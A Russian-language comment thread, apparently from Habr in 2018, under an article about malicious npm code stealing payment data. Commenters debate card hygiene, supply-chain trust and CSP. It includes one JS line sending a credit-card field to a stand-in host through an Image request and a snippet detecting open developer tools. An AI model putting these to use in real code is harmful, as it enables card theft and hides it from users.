11.01.2018 21:36Шансы получить по башке примерно одинаковые, что при наличии денег, что без них… Вообще все деньги что есть, я, разумеется, не таскаю с собой круглосуточно — только на выбранные покупки +1-2к на возможные доп. расходы… По голове и у нас бьют, но от того, чтобы не ударили по голове, как и от того, чтобы не сняли деньги с карты — есть свои способы защиты)
DistortNeo
11.01.2018 20:32То есть у вас всегда при себе имеются наличные деньги на любую покупку?
А где вы держите накопления?Germanets
11.01.2018 21:42То есть у вас всегда при себе имеются наличные деньги на любую покупку
не на любую, а только на планируемую, если же планируемых нет — есть пара тысяч на мелкие покупки или возникшие форсмажоры…
Накопления — поверьте, не под подушкой, не в кошельке, и даже не в кладовке, в банке с крупой) Но и доступа у человека, который утащил у меня пароль от онлайн банкинга к ним тоже нет, для их получения как минимум нужны документы и моё личное присутствие)
littleleshy
12.01.2018 08:15Перевести с карты банка на виртуальную. Онлайн. Без комиссии.
DistortNeo
12.01.2018 10:15Перевести с карты банка на виртуальную. Онлайн. Без комиссии.
А переводить вы на неё деньги будете в веб-банкинге, написанном модными-стильными-современными js-кодерами… (см. комментарий выше)
littleleshy
12.01.2018 10:20просто в терминале…
интерфейс которого написанмодными-стильными-современными кодерами…
Круг замкнут, выхода нет.
MikailBag
11.01.2018 20:34+1Как минимум некоторые терминалы (сам видел) работают как internet explorer, в котором открыта нужная страница. То есть проблема никуда не делась
jeka_odessit
11.01.2018 22:48Не знаю как в России (СНГ), но в США тут есть услуга генерации № карточки которая действительна до Х даты/времени или же до первой оплаты, можно через телефонное приложение сгенерировать. Не все банки поддерживают, это минус.
fedorro
11.01.2018 15:57+2\\выделенную банковскую
… и пополнять её, вводя данные в онлайн банке, или через банкомат, в котором тоже может быть этот или другой вредоносный код. Ну или по СМС, которые вообще лучше отключить. А потом покупаешь, на ней какой-нибудь, например, лицензионный ключ, который приходит на почту, от которой тоже надо вводить пароль, и который надо активировать в личном кабинете, у которого тоже есть пароль, и, возможно вредоносный.
Но а если серьезно — сам, так и делаю, держа для покупок отдельную карту с небольшой суммой, пополняя её если надо оплатить что-то дорогое. А с других карт излишки перевожу на счет.eugenebb
11.01.2018 21:40например Virtual Account Numbers
можно задавать лимит по времени и сумме, плюс ограничение на то кто пытается снять.
т.е. один и тот же продавец может снимать с этой карты несколько раз, а другим будет отлуп.
Т.е. можно использовать для recurring платежей.
DummyBear
11.01.2018 15:58+1Вы чтобы её пополнить ногами в банк ходите или всё же вводите логины-пароли-номера на каком-то сайте?
zagayevskiy
11.01.2018 19:32Я в мобильном приложении ввожу, например. И то не номер карты, а отпечаток пальца. Ещё вопросы?
TheShock
12.01.2018 01:19Уверены, что в мобильном приложении нету этих проблем? Да еще и отпечаток пальца, который не поменять
zagayevskiy
12.01.2018 12:42+1Думаю, что организовать такие проблемы в мобильном приложении несколько сложнее, чем в этом вашем джаваскрипте. Про отпечаток пальца что-то не понял — в каком смысле не поменять?
sumanai
12.01.2018 15:30+2Думаю, что организовать такие проблемы в мобильном приложении несколько сложнее, чем в этом вашем джаваскрипте.
Притом что многие приложения на телефоне являются тем же сайтом со своим браузером. И сторонние компоненты используют не только в JS.
Про отпечаток пальца что-то не понял — в каком смысле не поменять?
В прямом- после его утечки вы ничего не сможете с этим сделать.zagayevskiy
12.01.2018 16:05Я могу отличить нативное приложение от вебвью, спасибо. Я не говорил, что сторонние компоненты в мобильных приложениях не используются — я всего лишь говорю, что организовать такие проблемы в мобильном сильно сложнее.
Про отпечаток ересь какая-то. Какая ещё утечка, его хардварно поддерживают устройства. Приложение до него вообще доступа не имеет. Учите матчасть.
baldr
12.01.2018 16:21Достаточно украсть ваш мобильник, а уж отпечатки ваши будут ровным слоем по нему везде. Делается фотография, а потом силиконовая форма отливается с формой отпечатка и все. Гуглить лень, но авторизация по отпечатку пальца скомпрометирована уже несколько лет назад. Причем разными способами.
zagayevskiy
12.01.2018 17:00+1Бред. Разговор идёт про широконаправленные атаки, "бомбят по площадям". Про то, что сторонняя компонента встраивается в приложение и крадёт данные.
Никто не говорил про индивидуальные атаки на человека — так-то сломать можно всё, что угодно.
baldr
12.01.2018 17:08Да, мой комментарий был, действительно, именно про отпечаток как механизма авторизации. Я думал что оригинальный комментарий тоже.
Массово да — пока смысла не имеет, наверное.
sumanai
12.01.2018 17:30Какая ещё утечка, его хардварно поддерживают устройства.
Иногда это хардварно выдаёт снимок отпечатка любой программе, стоит только попросить. А так я имел в виду распознание по фото и прочие методы.
DummyBear
12.01.2018 07:16Есть. Проводили ли вы аудит этого мобильного приложения? Или же даже не видели его исходников? Читали ли вы про успешную подделку отпечатка пальца по фотографии?
Alexeyslav
11.01.2018 16:07Есть ещё такое понятие как технический овердрафт. Карта, даже будучи 100% не кредитной в определённых случаях МОЖЕТ все-таки уйти в минус. Потом всеравно будете вынуждены этот минус погасить.
Germanets
11.01.2018 16:49А можете подробнее объяснить, какие это случаи, и что нужно сделать, чтобы гарантированно в них не попасть, или хотя бы вероятность их наступления уменьшить?
RidgeA
11.01.2018 17:10Ну например вы покупали что-то на сайте с карточки в нац валюте в долларах и должны заплатить 100 долларов. По схеме расчетов сначала сумма блокируется по курсу на момент блокировки. А спустя несколько дней — списывается, но уже по курсу на момент списания. Если курс списания выше, чем курс блокировки — спишется дополнительная сумма с карты, если денег не будет — возникнет технический овердрафт. К.т. всякие банковские комисии за обслуживание (особенно связаные с расчетами между банками — сняли в банкомате чужого банка, например) в не особо клиенто-ориентированных банках могут уходить в технический овердрафт…
Правда вариантов, когда технический овердрафт может возникнуть на существенную сумму я придумать не могу, кроме случаев двойного списания суммы, но такие варианты обычно решаются оспариванием транзакции.DistortNeo
11.01.2018 17:53А ещё через оффлайн-транзакции можно уйти в минус.
Это когда оплатил в магазине сейчас, баланс на карте не изменился, смс не пришла, а реально списание произошло через 1-2 дня.elfs_shadow
11.01.2018 20:10Более того, забавные ситуации бывают и в онлайне. Я как-то получил минус, который не вкладывался в возможную разницу курсов в несколько десятков раз. Оказалось, гугл не успел подтвердить транзакцию в течении 8 дней и банк вернул деньги (снял блокировку).
Забавно, но подтверждение пришло в скором времени после очередного использования карты и суппорт банка минут 15 разбирался почему вдруг образовался овердрафт.
impwx
11.01.2018 18:16Был случай, когда из-за двойного списания при оплате путёвки на карте возник технический овердрафт больше 100к рублей. Банк хоть и пообещал «разобраться», но штраф за перерасход все равно начислил. Спустя выходные деньги «пришли» назад, но уже по другому курсу, из-за чего потерялась еще часть.
LexB
12.01.2018 12:12+3Банк оставил вас наедине с проблемой? Если можно огласите, пожалуйста название банка.
Germanets
11.01.2018 18:20По схеме расчетов сначала сумма блокируется по курсу на момент блокировки.
— а кто за эту схему расчётов ответственный, банк? конкретный интернет-магазин? или это общепринятая практика?
В онлайне вообще не сталкивался с ситуациями, когда после расчётов деньги на счету всё ещё оставались…RidgeA
11.01.2018 18:27Процессинговая система (Visa, MasterCard, ...). Я сейчас быстро какое-то подтверждение не смог найти, но уверен что в при достаточном приложении сил в общих чертах эту схему можно найти.
Заблокированная сумма обычно отображается именно как списанная. Некоторые банки в выписках могут указывать дату операции (блокировки) и списания денег — она может отличаться.
ProFfeSsoRr
11.01.2018 21:43Да банально: получил зарплату, снял всё, а потом списались деньги за годовое обслуживание — вот и минус на «дебетовке». Это личный мой случай, потом еще из банка звонили и спрашивали, откуда у меня минус, пришлось мне им объяснять откуда. Извинились в конце разговора :)
ainu
11.01.2018 16:13Кроме номера карты, конечно, другие данные тоже воровать можно? Пароли? Номер телефона?
azShoo
11.01.2018 16:15+3Затем, что контролем кода занимаются одни люди, а оформлением на себя дополнительной карты — совсем другие.
И когда с вашего сайта радостно начнет утекать sensitive data пользователей, ответ «Да завели бы себе отдельную карту и всё» их вряд ли устроит.
Не говоря уж о том, что платежные данные — не единственная ценная информация, которую оставляют пользователи на сайтах.
Это точно так же могут быть реквизиты аккаунтов, сканы документов, приватный контент, whatever.
И в итоге попытка отказаться от использования всего этого в интернете сводит всё к п.1 из статьи выше.
upd: Я буду обновлять ветку комментов каждый раз, перед там как что-то постить.
ctacka
11.01.2018 17:55Потому что это никак не зафорсированно. И на n пользоватей с выделенной картой будет k пользователей с зарплатной. :/
Эта статья в большей стетепни для разработчиков. Для пользователей достаточно понимать, что ничто не мешает какому-нибудь интернет-магазину ложечек просто переть ваши данные, без всех этих хитростей.
OlegShishkin
11.01.2018 15:46Поможет ли блокировка исходящего трафика по всем направлениям, кроме разрешённых? Вроде бы тогда вирус будет работать, но не сможет отправить украденные данные своему хозяину, да?
Alexeyslav
11.01.2018 16:10Отправит на CDN который используется тем же сайтом для работы и является разрешённым…
LynXzp
13.01.2018 23:45Сначала я засомневался (у меня все по умолчанию запрещено), посмотрел в мои разрешения: alicdn.com, dxcdn.com, и т.п. И как он туда отправит? Посмотрел что на ebay… ebaydesc.com, ebaydesc.com, ebayrtm.com, ebaystatic.com, и подумал что если бы кто-то зарегистрировал ebaycdn.com то я бы и его разрешил пачкой тут же.
Заголовок спойлера
А я думал что я параноик.
mitrym
11.01.2018 15:52-6)) Просто — не говори машине, что у тебя есть кредитка. Только кэш, сорян чувак. Комп — для фильмов книг и игр.
SicYar
11.01.2018 16:19+2А игры, фильмы и книги на ПК покупать в сетевом магазине?
alex_zzzz
11.01.2018 16:58Виртуальная карта от Qiwi или чего-нибудь подобного. Невозможно потерять денег больше, чем было физически запихано кэша в терминал.
AllexIn
11.01.2018 17:58А откуда вы деньги возьмете?
Снимете в банкомате? :)alex_zzzz
12.01.2018 14:45Из тумбочки. В тумбочку тоже я кладу.
AllexIn
12.01.2018 14:48Завидую тем, у кого есть неиссякаемая тумбочка с деньгами.
Остальные вынуждены зарабатывать, а работодатель почему-то не хочет иметь физическую кассы и предпочитает зарплатные карты.alex_zzzz
12.01.2018 15:01А работник предпочитает то, что предпочитает.
Согласно пункту 1 статьи 421 Гражданского кодекса РФ, граждане и юридические лица свободны в заключении договора. Понуждение к заключению договора не допускается, за исключением случаев, когда обязанность заключить договор предусмотрена Гражданским кодексом РФ, законом или добровольно принятым обязательством. Следовательно, работодатель не может обязать работника заключить договор банковского счета для перечисления заработной платы.
Источник: http://www.tkodeksrf.ru/ch-3/rzd-6/gl-21/st-136-tk-rf
AllexIn
12.01.2018 15:02Конечно. Он может просто не взять вас на работу.
alex_zzzz
12.01.2018 15:09-3Идёт в жопу, значит. Может, он потом захочет зарплату вообще не платить. По ТК обязан, но вот захочет и всё.
AllexIn
12.01.2018 15:11+1Классно что вы можете выбирать. Большинство не может. Не может не только выбирать, но даже тупо заикнуться о своих правах.
Вы попадаете в 0.001% тех, кому указанная здесь угроза не угроза.
Классно, таким людям я тоже завидую, наравне с теми, у кого есть тумбочка.alex_zzzz
12.01.2018 15:25-2Сказал же про тумбочку, что в неё тоже я кладу. Она не сама варит.
Большинство не может. Не может не только выбирать, но даже тупо заикнуться о своих правах.
Рабовладельческий строй какой-то.
AllexIn
12.01.2018 16:02Рабовладельческая психология, а не строй.
Если готов отстаивать свои права — это как правило не становится проблемой. Но люди в основе своей так боятся потерять те права что у них есть(работать 12 часов за серую зарплату, например), что не смеют заикаться на счет остальных.
sumanai
12.01.2018 15:34Не может не только выбирать, но даже тупо заикнуться о своих правах.
Рабский менталитет в себе нужно уничтожать.
Классно, таким людям я тоже завидую
Уборщик с з/п в 20к, при переводе бюдетников на МИР пошёл качать права и начал получать з/п на банковский счёт, кассу тоже предлагали, но со счёта удобнее перекидывать на нормальную карточку. Если вы ещё завидуете, готов с вами поменяться.Areso
12.01.2018 21:30Мы с вами уже общались, так вот, когда я был инженер-программистом в МУПе, мне сказали, или карточка (причем вполне определенного банка, что вообще ни в какие ворота), или пшел вон прямо сейчас, и нам в общем-то все равно, что там произойдет с тем барахлом, что ты поддерживаешь в рабочем состоянии, когда я намекнул, что я единственный, кто остался и хоть немного разбирается в этом барахле.
sumanai
12.01.2018 21:48Мы с вами уже общались
Да я много с кем тут общался, как впрочем и вы, что при количестве комментариев в 1к+ и не удивительно.
и нам в общем-то все равно, что там произойдет с тем барахлом
Видимо мне место такое хорошее попалось.Areso
12.01.2018 21:50Руководство чуть более адекватное или не такое купленное на деньги банка.
sumanai
12.01.2018 21:58Сейчас пораскинул мозгами, и пришёл к выводу, что скорее всего повлияла численность рабочих- у меня это 1800 сотрудников, где потеря отката на одного значит меньше, чем потенциальный геморрой от моего хождения по инстанциям.
Psychosynthesis
12.01.2018 21:27Не понимаю за что заминусовали человека, вроде бы всё здраво расписывает.
Кто-нибудь может объяснить?
lxsmkv
11.01.2018 16:08+1Кризис, как правило, предвещает начало новой эры.
Alexeyslav
11.01.2018 16:11-1Каменного топора и палки-копалки…
Germanets
11.01.2018 16:55Боюсь, что уже сейчас есть негосударственные киберпреступные группы, способные связкой известных им эксплойтов или захваченного ПО сделать своеобразный блэкаут интернета масштаба страны, если не мира… Ситуация с медком была одним из подобных страшных звоночков…
vsb
11.01.2018 16:18В типичном Java-проекте сотни .jar-зависимостей. Во многих .jar-файлах тысячи и десятки тысяч .class-файлов. Типичный Java-проект скачивает все зависимости уже в скомпилированном виде с maven central, на которые они, насколько я понимаю, заливаются тоже в скомпилированном виде (там обычно рядом лежат исходники, но, как и в статье, никто их не компилирует, это только для удобства отладки). На самом деле это странная ситуация, если вдуматься. Ведь ничего принципиально не мешает тому же Central-у требовать предоставления исходников и компилировать их самому (ну понятно, что это совсем другая нагрузка, но всё же). Хотя бы исходники и бинарники будут одинаковые.
А вообще сложно придумать хороший способ решения этой проблемы. Разве что сеть ревьюеров, что-то вроде web of trust, когда человек проверяет очередной релиз библиотеки, компилирует его самостоятельно (в Java при компиляции одним и тем же компилятором получается один и тот же байткод) и подписывает релиз своим ключом. Но кто за это будет платить… Review какого-нибудь Spring Framework 5.0 это та ещё работёнка.
poxvuibr
11.01.2018 16:29Типичный Java-проект скачивает все зависимости уже в скомпилированном виде с maven central
Ну нет, в типичном проекте средних размеров уже есть собственный менеджер репозиториев.
vsb
11.01.2018 16:30Который кеширует всё с maven central? Сути это не меняет.
poxvuibr
11.01.2018 16:34Который кеширует всё с maven central?
Не факт, зависит от степени параноидальности отдела безопасности.
justboris
11.01.2018 18:32Аналогичное справедливо и для NPM. Отдел безопасности может и node-модули проверять.
Или node-модули проверяют специально обученные хипстеры вместо обычных безопасников?
staticlab
12.01.2018 08:38Он-то может. Но у вас есть гарантия, что это реально делается, причём правильно, на тех ресурсах, которыми вы пользуетесь?
justboris
12.01.2018 11:08+1Гарантии примерно такие же, как и с другими платформами, типа Java, например.
К чему разводить лишнюю паранойю конкретно про node_modules?
staticlab
12.01.2018 11:32Я, конечно, могу ошибаться, но в Java для вызова внешнего сервиса придётся либо явно засветить в байткоде обращение к методу того или иного сетевого класса, либо обратиться к нему через Reflection. Оба случая относительно просто детектятся автоматическим анализатором. Кроме того, экосистема Java существует давно, и для неё более-менее вменяемые анализаторы созданы.
А вот в случае с JS и экосистемой NPM всё сложнее: можно обфусцировать код так, что даже анализатор не определит что к чему без явного выполнения кода. Кроме того, анализаторы могут быть довольно устаревшими, ведь экосистема развивается быстро, а СБ привыкло доверять им.
А так-то да, я очень сомневаюсь, что в большинстве крупных "энтерпрайзных" компаний с СБ реально проводится глубокий анализ всех зависимостей, а не тупо проксирование глобального репозитория.
justboris
12.01.2018 11:39+1Я периодически поглядываю, что лежит у меня в node_modules, и до этой статьи, и после, но никогда обфусцированного кода не видел.
Если бы встретил, моя логика была бы простой: код опесорсный, скрывать ему нечего, ну его нафиг, лучше выберу другой модуль с той же функциональностью, чем распутывать зашифрованные куски.
staticlab
12.01.2018 11:58Ну вот, например, react 16 для дева тянет несжатый ./cjs/react.development.js, а для прода минифицированный ./cjs/react.production.js. Само собой, react-dom 16 тоже. Впрочем, это довольно редкая практика, и большинство пакетов действительно предлагают для импорта несжатый код.
justboris
12.01.2018 12:30Обфускация != сжатие.
Обфусцированный код разбирают, например, в этой статье. Это не так просто. Если ваши зависимости содержат такой код, то лучше выкинуть эти зависимости, честным разработчикам скрывать нечего.
Сжатый код, как
react.production.jsразжимается обратно очень легко. Возвращаем форматирование и получаем почти такой же читаемый исходник.
Olleandra
11.01.2018 16:20Интересная статья. Спасибо.
Вероятно, мой вопрос покажется глупым сообществу, но если такая уязвимость возможна с React, то будет ли она действовать, если на сайте React не используется, но применяются другие модули с GitHub?
Например, у меня есть Framework Yii2 последней на сегодняшний день версии. На нём установлены модули с GitHub, которые позволяют красиво добавлять гиперссылки в текст статьи из админки и выводить красивые галереи пользователям.
В глобальном шаблоне layouts/main.php клиентской части есть форма, которая становится видимой при совершении пользователем каких-то действий. Других форм клиентская часть не предлагает. Вход же в админскую осуществляется через стандартную форму Yii2, отображаемую на отдельной странице. Единственная применяемая JS-библиотека — jQuery.
Может ли данная уязвимость передать данные клиентской формы и формы входа администратора при таких условиях?
Было бы интересно узнать. Посему обрадуюсь любому внятному ответу.valkiriy
11.01.2018 16:29В статье есть отличная цитата на эту тему:
Если атакующий успешно внедрил куда-либо какой-либо код, то, в общем и целом, говорить уже не о чем.
megagon
11.01.2018 16:20+1небезызвестный букинг.ком при оплате картой отдает отелям полную инфо карты (вместе с cvc), так что о какой безопасности может идти речь
zamsky
11.01.2018 17:02Вы уверены? Они утверждают, что присылают данные виртуальной карты partnerhelp.booking.com/hc/en-gb/articles/213317965-Receiving-online-payments
zxxc
11.01.2018 17:22booking.com PCI compliant
но еще это не совсем так с его партнерами
www.pci-proxy.com/tag/pci-booking-com
тем не менее это временные номера карт которые уничтожаются
более интересная информация есть о безопасности в области заказа билетов на самолеты через GDS
TrigovorTosh
11.01.2018 16:30+2Сразу вспомнилось сие замечательное произведение:
https://pastebin.com/raw/2EtY76Nn
GarudaJI
11.01.2018 16:34-1Кстати, используя этот метод, я взломал аккаунт Трампа в Twitter и начал постить всякую ерунду. Насколько мне известно, до сих пор этого никто не заметил.
А там есть что-то еще кроме ерунды?
cerberus13
11.01.2018 17:02Пиши всё сам, никакого opensource, наступай на свои и чужие грабли, может быть тебя не «сломают» :-)
Germanets
11.01.2018 17:07Угу, наиболее вероятный вариант при этом, что «сломать» будет нечего, так как продукт либо не появится вовсе, либо намного позже, чем он был нужен…
KarryPro
11.01.2018 17:05+1Имея зловредные намерения и острый ум, мне кажется можно обойти любые ограничения.
cjbars
11.01.2018 17:08+1Если честно, статья — шедевр! Читаешь как детектив или фантастику, в голове прям похождения Стальной Крысы разыгрываются.
Супер! Спасибо!
Но в уголочках начинает чуть чуть скрести паранойя. :-)
side2k
11.01.2018 17:30+1Спасибо, хорошая заметка.
Грустно лишь то, что такие заметки становятся отличным вдохновляющим руководством для тех, кому своего ума на такие комбинации не хватило.sumanai
11.01.2018 17:33Сомневаюсь, что есть люди, которые не могут додуматься до такой схемы, но смогут написать вменяемый компонент для менеджера пакетов и протолкнуть его использование в достаточно популярные пакеты.
side2k
11.01.2018 17:39Это легко могут оказаться разработчики, попавшие в коллектив разработки уже существующих пакетов, которые по цепочке зависимостей попадают много куда.
Далеко не везде крайне вдумчивый code review.
overmes
11.01.2018 17:35а еще есть плагины для браузера, там вообще все что угодно можно делать
sumanai
11.01.2018 18:20Сейчас дополнения для браузеров запрашивать разрешения для доступа на страницы, и, теоретически, запрос от дополнения типа «блокнот в окошке» на доступ ко всем сайтам должен насторожить пользователя.
lxsmkv
11.01.2018 18:57была статья на эту тему от Яндекса: «Эволюция вредоносных расширений» habrahabr.ru/company/yandex/blog/341382
kraso4niy
11.01.2018 17:50Видимо все что мог сделать автор с этими украдеными данными, это прикинуться на время трампом в твиттере))
Viacheslav01
11.01.2018 18:11Я сразу вспомнил Сбербанк Онлайн с кучей левых скриптов на страницах онлайн банка и заявления их представителей, что это не несет никакой угрозы клиентам!
DaneSoul
11.01.2018 23:14Подход к безопасности сбербанка вообще фантастичен — нельзя запретить для карты оплату в интернет, вот нет такого варианта в принципе.
И вообще, вот очень бы хотелось посмотреть на того, кто додумался писать СVV код на самой карте и сделал это стандартом (хотя это уже конечно не к Сберу претензии)…DistortNeo
11.01.2018 23:34Вы удивитесь, если узнаете, что в США до недавнего времени дебетовые карты были мало распространены, а были только кредитки с оффлайн-оплатой и практически нулевой защитой. Картой можно было расплатиться вообще где угодно: не нужно было ни электричество, ни интернет — только импринтер (девайс, делающий оттиск карты — собственно поэтому буквы на картах выдавлены), да даже можно было просто номер карты в тетрадочку переписать и всё. И узнать текущий баланс карты было нельзя — банк просто раз в месяц выставлял счёт со списком операций.
DaneSoul
11.01.2018 23:40+2Про импринтеры слышал, но у нас они насколько же редкие как и оплата выписыванием чека — и то и другое видел только в зарубежных фильмах.
Опять таки, PIN додумались не писать на самой карте, почему нельзя CVV было бы также выдавать в конверте или вводить с терминала при получении карты — это же самоочевидно, что секретный код не должен быть виден на самой карте!
А на недавно полученной визе сберовской он не просто напечатан, а еще и вдавлен, с трудом зачистил лезвием.DistortNeo
11.01.2018 23:44Про импринтеры слышал, но у нас они насколько же редкие как и оплата выписыванием чека — и то и другое видел только в зарубежных фильмах.
У нас их не было. А вот при поездках за рубеж один раз оплачивал именно так (было это в 2009 году).
Опять таки, PIN додумались не писать на самой карте, почему нельзя CVV было бы также выдавать в конверте или вводить с терминала при получении карты
Зависит от политики банка и платёжной системы. Многим магазинам CVV вообще не нужен, поэтому отсутствие CVV на самой карте не защищит от вывода с неё денен.
baldr
12.01.2018 00:03с трудом зачистил лезвием.
Вот тут в соседней теме (3 года назад, правда), есть такие комментарии:
Disclaimer. Юридически карта без CVV может быть признана недействительной. Практически в РФ и Украине это вряд ли произойдет, но в ЕС и США возможно.
Удалить cvv/cvc — код с карты нельзя, так как он является необходимым реквизитом банковской карты, согласно правилам платежных систем. Формально, карта, на которой нет хотя бы одного обязательного реквизита, недействительна. То есть, теоретически, карту с удаленным cvv/cvc — кодом могут отказаться принять к оплате в терминалах торгово-сервисных предприятий.
Так что еще и удалять нельзя :(DaneSoul
12.01.2018 00:28Мне вообще данная карта нужна только для банкомата, иногда приходят деньги (потому и Сбер, что удобно отправителям), которые надо снимать, и я с удовольствием бы запретил к ней любой другой доступ…
pansa
12.01.2018 01:47paypass позволяет даже не доставать карту на свет. А *pay позволяют даже забывать карту дома.
Однако, это имеет место быть — в магазине «КЦ Кей» отказались у меня брать карту, на которой последние цифры были залеплены наклейкой (снимал копию для визы, забыл оторвать). Снял наклейку — взяли =)
h0rr0rr_drag0n
12.01.2018 11:38Однако, это имеет место быть — в магазине «КЦ Кей» отказались у меня брать карту, на которой последние цифры были залеплены наклейкой (снимал копию для визы, забыл оторвать). Снял наклейку — взяли =)
Аналогичная история в таком же магазине была и со мной.
В «Юлмарте» как-то раз даже сверяли подпись на чеке и на карте.
В остальных местах всем пофигу и на изоленту на месте CVV/CVC, и тем более на подпись.
staspavlov92
12.01.2018 13:15+1Не так давно столкнулся с тем, что для платежей по сути не нужен и CVV. Был крайне удивлен, когда в форме оплаты попросили только номер карты, срок дейтвия и имя держателя и тут же списали деньги без CVV и SMS.
Как я понял после прочтения пары форумов, в таком случае вроде как ответственность на себя берет магазин и можно оспорить транзакцию. Но, судя по комментариям там же, часто эти оспаривания крайне затягиваются и переходят в перекидывание ответственности между магазином, банком и процессинговой системой(
vlreshet
12.01.2018 13:53-2Это, вроде, в зависимости от того разрешает ли банк такой финт ушами. Если банк поддерживает так называемый 3DSecure, и он активен, то так не получится
QDeathNick
15.01.2018 12:40Ни в одном банке пока не видел, чтобы не было возможности снять деньги просто так, без СМС, если знаете такой, буду рад попользоваться.
vlreshet
15.01.2018 12:46Знаю как минимум один такой банк, только вам он не подойдёт. А так — в интернете регулярно плачУ, на разных ресурсах, и никогда ещё не было такого чтобы сняло деньги без смс кода. Даже после привязки карты на Alipay — у них был мой код, cvv, дата (повторно вводить их не надо было), а без смс всё равно снять не смогли.
P.S. даже интересно за что заминусили мой предыдущий комментарийQDeathNick
15.01.2018 13:03+1Никогда не было и вот опять.
А вы уверены, что 3DSecure у приватбанка является обязательной?
Вот вижу клиент пытается сделать её такой.
Ну и проверить же просто, давайте данные, я сниму денег без СМС.
Iceg
12.01.2018 16:51По рассказам, нулёвая техническая защита компенсируется стопроцентной банковской — любой угон денег с кредитки возмещается банком в ста случаях из ста. Банкам выгоднее, чтобы люди без опасений пользовались кредитками — ущерб от краж перекрывается профитом от дохода.
baldr
12.01.2018 16:57Уточните страну, плз. В России если вы почитаете все договора, что вам подсунут в банках, окажется что в любом случае вы сами виноваты.
Вы вводили свою кредитку в интернете? Надеемся, хотя бы CVV-код не вводили? Ах тоже ввели… Сами? А банк чем виноват? Ну идите в полицию.
Fanamura
12.01.2018 04:26+1Меня лично больше всего даже не это беспокоит, а то, что 3D-secure вовсе не обязателен и его проверка вообще устанавливается не самой VISA допустим, или пойдем ниже, Сбербанком, а владельцем сайта. Когда-то давно столкнулся с тем, что захотел купить кое-что на амазоне, ввел данные карты и деньги сразу же списались. Без всякой смс от Сбербанка с кодом подтверждения. Почему нельзя принудительно заставить все платежи подтверждать смс? Хотя бы так.
WatsOne
12.01.2018 07:37Если магазин(сайт) проводит платежи без 3DS, то, грубо говоря, всю ответственность за платеж он берет на себя. То есть, именно магазин будет обязан вернуть деньги в случае чего. Включая 3ds — ответственность уже перекладывается на банк. (это все грубо говоря)
budet
12.01.2018 08:15Бинбанк пошел еще дальше: страница логина в интернет-банк (https://i.binbank.ru/login) вовсе не работает, если запретить «шпионский» функционал, и длится это более полугода. Их консультанты отписываются, что система «соответствует требованиям безопасности». Наверно, в требования безопасности включены: слив паролей Яндекс.Метрике и Google Analytics, а также рекламные трекеры.
Areso
12.01.2018 12:16Почти как СБОЛ с аналитикой в ЛК, включая форму логина. Такая же связка: ЯМ+GA
Нотариально заверенный скриншот
snuk182
11.01.2018 19:55+1Make desktop applications great again.
kekekeks
12.01.2018 08:32А у них там какой-нибудь свой не менее толстый nuget.org. Мелких пакетов для "раскраски консоли", правда, нет, так что граф зависимостей обычно поменьше и читаем. Но от проблемы выше не избавляет.
snuk182
12.01.2018 14:31Приходите к нам в Rust! У нас все зависимости раздаются исключительно человеческими исходниками. Не в последнюю очередь потому что с зоопарком таргетов компиляции и отключаемыми фичами раздавать что-то (полу)собранное нереально, слишком большое количество вариантов бинаря выходит.
Другое дело, что эти исходники надо не лениться читать.
0xd34df00d
14.01.2018 22:47В Haskell. Тоже всё раздаётся только как исходники, да и нечистый код сразу видно: не обязательно читать все исходники, достаточно просмотреть API, живущий в монаде
IO, и погрепать исходники на предмет пары функций вродеunsafePerformIO.
computershik73
11.01.2018 20:10и среди этих сайтов-жертв 100% есть vk.com и ok.ru ;)
И страдают прежде всего те, кто покупает никому не нужные стикеры.
FlameArt
11.01.2018 20:11+1Ладно.
let img=new Image(); img.src="https://LULsite.com/?credit="+$('.credit')[0].value;
Это без всяких фетчей отправит запрос, который отследить сложнее, если смотреть через анализаторы кода или даже визуально. Кроме того, CSP пропустит этот запрос, если не указать img-src (чего почти никто не делает). А кроме Image сколько ещё есть прекрасного.
Вывод: можно напрягаться и писать анализаторы, чем некогда занимался я, а можно выпустить продукт поскорее, просто не увлекаясь сторонними пакетами столь фанатично, и настроить несколько уровней безопасности, чтобы доступ к любому из них не дал украсть или разрушить всё остальное.pansa
12.01.2018 01:50Не правда, директива connect-src не даст отправить запрос на img куда угодно, даже если не указан img-src. А её необходимо выставлять, на её отсутствие ругаются по-моему все верификаторы CSP.
dagen
11.01.2018 20:44А ещё (вдобавок к статье из блога Яндекса, оставленную выше) в текущем же блоге была близкая очень к текущей статье, правда написана не столь литературно: habrahabr.ru/company/ruvds/blog/335144
id_potassium_chloride
11.01.2018 21:43О, ужас! Это же почти идеальное преступление! Два вопроса:
1)А «ВКонтакте» тоже «под колпаком»?
2)А как происходит отслеживание открытия средств разработчика?
Xu4
12.01.2018 17:30А как происходит отслеживание открытия средств разработчика?
Например, так:
var devtools = /./; devtools.toString = function() { this.opened = true; } console.log(devtools); if (devtools.opened === true) { alert('Панель разработчика открыта'); } else { alert('Панель разработчика закрыта'); }
kirBurkhanov
12.01.2018 00:03Так решение находится на поверхности и оно вроде достаточно простое. И уже реализовано в iOS и Android.
- Нужна возможность при подключении пакета/модуля (через import) выставлять права доступа (работа с DOM, network (Ajax), canvas, использование events и тд).
- Полностью изолировать код модуля. Window и document не доступен, стандартные функции объектов string, array и т.д тоже, если их не как-то передать при инициализации модуля.
Короче нужно расширения для webpack =)
baldr
12.01.2018 00:05Ну вот какие разрешения вы бы поставили для Bootstrap? А для jQuery?
kirBurkhanov
12.01.2018 00:12Так не надо использовать одну библиотеку, которая делает все и является прослойкой от native js. Если брать подход с использованием ядра в виде react, vuejs, angular с различными доп. модулями, которые решают конкретную задачу, то идея с правами доступа имеет право на жизнь. Но это не гарантирует, что нельзя будет вставить вредоносный код (если его добавят в ядро какого нибудь react, у которого будет доступ к DOM, то можно будет делать любые get запросы)
baldr
12.01.2018 00:19-1Ну конечно, давайте еще разделим на 30 разных частей. И для каждой свои разрешения.
А в итоге опять получим через полгода новый фреймворк, который удобно их объединяет в две строчки.TheShock
12.01.2018 01:36А в чем проблема? Всякие JQuery и так разбиты на огромное количество модулей. А раньше его даже с сайта можно было сказать побитым на модули. Как сейчас jqueryui.
И в чем проблема вместо накликивания чекбоксов — прописать список импортов с разрешениями?
kirBurkhanov
12.01.2018 14:59-1О каких технологиях идёт речь? Так как если использовать реактивные фреймворки, то так оно и есть, подключаете только те пакеты, которые нужны. Нужна работа с запросами — подключили библиотеку. Нужен роутинг — снова подключим библиотеку. Видимо вы говорите про подобие jQuery лапши. Если да, то значит будет один огромный фреймворк, доверять вендору и не ограничивать права доступа пакета, решать вам.
